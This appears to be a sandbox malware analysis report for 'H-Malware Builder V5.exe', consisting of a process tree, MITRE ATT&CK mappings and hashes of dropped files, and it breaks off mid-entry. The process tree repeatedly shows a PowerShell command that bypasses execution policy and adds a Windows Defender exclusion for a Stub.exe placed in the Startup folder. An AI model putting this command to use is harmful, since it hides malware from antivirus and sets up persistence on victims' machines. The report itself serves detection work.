        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        26⤵
        Drops startup file
        
        PID:2092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        27⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3592
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        28⤵
        Suspicious use of SetWindowsHookEx
        
        PID:3340
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        27⤵
        Drops startup file
        
        PID:2872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3536
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        29⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4656
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        28⤵
        Drops startup file
        
        PID:3816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        29⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5036
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        30⤵
        
        PID:1052
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        29⤵
        Drops startup file
        
        PID:3284
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:736
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        31⤵
        
        PID:4428
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        30⤵
        Drops startup file
        
        PID:3084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        31⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1796
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        32⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4888
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        31⤵
        Drops startup file
        
        PID:5080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        32⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2208
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        33⤵
        Suspicious use of SetWindowsHookEx
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        32⤵
        Drops startup file
        
        PID:2776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        33⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3340
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        34⤵
        Suspicious use of SetWindowsHookEx
        
        PID:228
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        33⤵
        Drops startup file
        
        PID:3100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1384
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        35⤵
        
        PID:4296
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        34⤵
        Drops startup file
        
        PID:3008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        35⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1008
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        36⤵
        
        PID:1568
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        35⤵
        Drops startup file
        
        PID:432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        36⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1304
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        37⤵
        Suspicious use of SetWindowsHookEx
        
        PID:576
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        36⤵
        Drops startup file
        
        PID:3168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        37⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2504
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        38⤵
        
        PID:4888
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        37⤵
        Drops startup file
        
        PID:2728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        38⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2388
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        39⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4740
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        38⤵
        Drops startup file
        
        PID:4364
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        39⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3360
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        40⤵
        
        PID:3500
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        39⤵
        Drops startup file
        
        PID:3812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        40⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2068
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        41⤵
        
        PID:2904
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        40⤵
        Drops startup file
        
        PID:4992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        41⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4804
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        42⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5056
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        41⤵
        Drops startup file
        
        PID:3728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3772
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        43⤵
        Suspicious use of SetWindowsHookEx
        
        PID:3736
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        42⤵
        Drops startup file
        
        PID:3084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        43⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2688
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        44⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4024
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        43⤵
        Drops startup file
        
        PID:4156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        44⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2092
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        45⤵
        Suspicious use of SetWindowsHookEx
        
        PID:2724
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        44⤵
        Drops startup file
        
        PID:2508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        45⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1136
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        46⤵
        Suspicious use of SetWindowsHookEx
        
        PID:2332
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        45⤵
        Drops startup file
        
        PID:1400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        46⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2952
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        47⤵
        
        PID:2104
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        46⤵
        Drops startup file
        
        PID:4092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        47⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:876
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        48⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1464
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        47⤵
        
        PID:3736
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        48⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3400
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        49⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1692
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        48⤵
        
        PID:4164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        49⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1496
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        49⤵
        
        PID:1164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        50⤵
        
        PID:3756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        51⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2792
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        51⤵
        
        PID:4628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        52⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3520
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        52⤵
        
        PID:4992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3508

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3872

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4048

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:468

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2040

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1180

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2032

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\H-Malware Builder V5.exe.log

Filesize
654B

MD5
2cbbb74b7da1f720b48ed31085cbd5b8

SHA1
79caa9a3ea8abe1b9c4326c3633da64a5f724964

SHA256
e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

SHA512
ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6b45f657c4f96d5e519d16f2186c0e8d

SHA1
5805321661db0947b811b2a71c61dc7e414e515a

SHA256
6f78260425853ec7c0c2151780dc94c9d4ae0b8894ea5ba3380a33092aaec38b

SHA512
121c068f117f1aa4f85f2684553dfe51d34c57612929e089edfe32d0535fd42f3bc755a2321e7ad4092d240ee2d08173dc26fb7efa91a72a729ec84a93957ac0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
34e3230cb2131270db1af79fb3d57752

SHA1
21434dd7cf3c4624226b89f404fd7982825f8ac6

SHA256
0f162f27548a84db1638bcf46d03661b5bcb3032e765fafdb597cc107639ba39

SHA512
3756cb01e82dbda681b562eae74d0b8ef8b3787b126119a51a92c51a78204a7805b9bdd60c00c50a3be23b843e78bb153b656540767069f739ce421b9bc02335

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
052b734e3d0b49bccde40def527c10df

SHA1
2ac7c9bd7dc7bd54699fd06252a89a963e1c1ec0

SHA256
d51b94b595a5bee567d89011dc8d97f6210a7911828e5a24172708d5a177f65f

SHA512
bbe94350f51a4029f44631e5bb6658d9583d46011db3ca3159a21b179ab7dc7b200a27ccdf34897fdcba890acec2cdb84a2c1ba0cd95360478e38e911f56f4ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e47c3fa11e796c492a8388c946bf1636

SHA1
4a090378f0db26c6f019c9203f5b27f12fa865c7

SHA256
4bb861850395dcc3bec4691e8b9f0fa733b8a2d568d460a9201d65250b12fee1

SHA512
8d4af4eba3019cd060561f42cff11374eafe59da5e5ad677e41d0b9198b87d6d13706e760d13c70574ed1384993a1597f886d21fe6ecd0186379a1e93db30695

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
fb9fada5651a2593ce0268bd1ee523a6

SHA1
870a5771f5033c5a7cc418701790bf1dc139383d

SHA256
292dffc35560c53f5e8c2c5fc5345ecef3bcda441ac4226dc953d16ed1d1955b

SHA512
310746aec847ec95c5ce9b2ef05ef95b9a93ac7b00839becd742f8a5191172d248cd6ef06a96c32f3dea005263c0d81b01b126fdd47c033930f5ed1af0192a97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
df808b11175970c23f00e611a7b6d2cc

SHA1
0243f099e483fcafb6838c0055982e65634b6db6

SHA256
2d5eec6aeee0c568d08cc1777a67b529dce3133efc761ef4b4643d4b2003d43d

SHA512
c7c4e39be7cb6bfda48055cd2b0b05a6b6a71131a124730f62928600a5870303e06e3db54634c45f86310413126d2524f51002d5f36f7012e41b641992b5ac89

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4914eb0b2ff51bfa48484b5cc8454218

SHA1
6a7c3e36ce53b42497884d4c4a3bda438dd4374b

SHA256
7e510fc9344ef239ab1ab650dc95bb25fd44e2efba8b8246a3ac17880ee8b69e

SHA512
83ab35f622f4a5040ca5cb615a30f83bb0741449225f1fd1815b6923e225c28241d0c02d34f83f743349a5e57f84ca1c6f44016797a93d5985be41d11be79500

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4948bec20e0267914f34bfcf342196fc

SHA1
db735d9be5f5244746a401501135775072305b05

SHA256
ee126e0f62e130c1a0f559d4f54f68416920e93b982ac475dfd9e0dd5c24d854

SHA512
6d5a7a480f6a0af8dfe451c5d4fed49ba02de1276b4de6bbdb136e524568d229016d645e32cf9a3c8bacdd60a542e0d3c581a456ca92d5fe6a90b63b113c584a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
05c670989a4cec41ac92523c1a87528a

SHA1
c45ec094550e119ff2b58498d72aa1e8db5e7a2f

SHA256
d7f4d3580b946be91f6ffd716b427a08a0f9584b5b42162f561087a85e10501e

SHA512
2cba0c173d9265d40ab37d28287f377d4c61b800882dfa07e52d8dc84685db11b35e1311918abbb3a3b075fb3f2cccbe153daeb6405626c53ecdd8a82de8aee8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9deb31d63c251368f1dcf297650b2997

SHA1
02a6835b82971ae7dba9d97e528412fac5247714

SHA256
9c598fb1420e5646126e8f7a42a3ea94b1050017e9cb67bbe6429f08c1bc2893

SHA512
0d6c8958a051b75f0d0a53e336954e102e642ad79a96f39fb1ed6643d77f9b54725b27eef460e33c89ff1d6136155cb6d873c25f9ae3dfc4a9d3a9346816477a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cef328ddb1ee8916e7a658919323edd8

SHA1
a676234d426917535e174f85eabe4ef8b88256a5

SHA256
a1b5b7ada8ebc910f20f91ada3991d3321104e9da598c958b1edac9f9aca0e90

SHA512
747400c20ca5b5fd1b54bc24e75e6a78f15af61df263be932d2ee7b2f34731c2de8ce03b2706954fb098c1ac36f0b761cf37e418738fa91f2a8ea78572f545cb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
46717cf53e19b1a4f9442b3274e64dfa

SHA1
d99596172124698756017e7bd60728341539be02

SHA256
9159cb9b77b8ddce5441c1136c2d48dd7b1afd5a488cbca6046b20a85b3a374b

SHA512
aefa21a698f83693d0f20dc8195ab14a5c516691cd095dafe0d2ab5b2cfd8d3fb966d9da2b8a2c0ad512f8dfe3751c9011630a690acb8973e7ea4fb9021360ec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4d8f8d18e387c8a77585de55a9d7dfe1

SHA1
180e6e7d2166fa3c912bcad5457e27c1d3b2f597

SHA256
15acafa9bda8d4453f303494462fa5aff04e52699a22f5beed535e7acd2278af

SHA512
4950ef40ee4f9c8c5e92b33b607949fc216a54d44ebe4c76ff07763ed675748e15ae04f32a45d11cd36a2b86dd6ea7d9c987757948e4fe13f9489c726ac2164f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
be92aa50d73f6993ae70d1436e8cdd65

SHA1
12d259ae411445c2dd959da3d8584846a56ffacb

SHA256
5a4ae153a8e434d967cb89fcbf95e23b241b3efc13a9f9a9d1f3b0703a791b9a

SHA512
ec407a859d0a0d1e63629a04b747539fd43192c35bc5d6a410b0d30d2d2709627e991ed34a37ce5d148a10978202da99465abc67803f2cfa35a541cc65fc97a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
80707036df540b6657f9d443b449e3c3

SHA1
b3e7d5d97274942164bf93c8c4b8a9b68713f46f

SHA256
6651e5f976619cef991deef61776cf43d4c4b3d7c551dd2192b647df71586ab0

SHA512
